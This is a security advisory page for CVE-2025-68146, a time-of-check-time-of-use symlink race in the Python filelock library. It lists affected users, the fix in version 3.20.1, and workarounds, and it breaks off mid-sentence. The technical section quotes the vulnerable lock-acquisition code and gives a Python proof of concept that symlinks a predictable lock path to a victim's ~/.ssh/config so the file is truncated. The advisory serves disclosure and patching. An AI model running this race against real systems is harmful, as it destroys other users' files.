||
| Medium | 6.3 | CVE-2025-68146Gdown · filelock has a TOCTOU race condition which allows symlink attacks during lock file creation Medium6.3GCVE DatabaseCVE-2025-68146 ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix sys | GCVE Database |
Page 1 of 1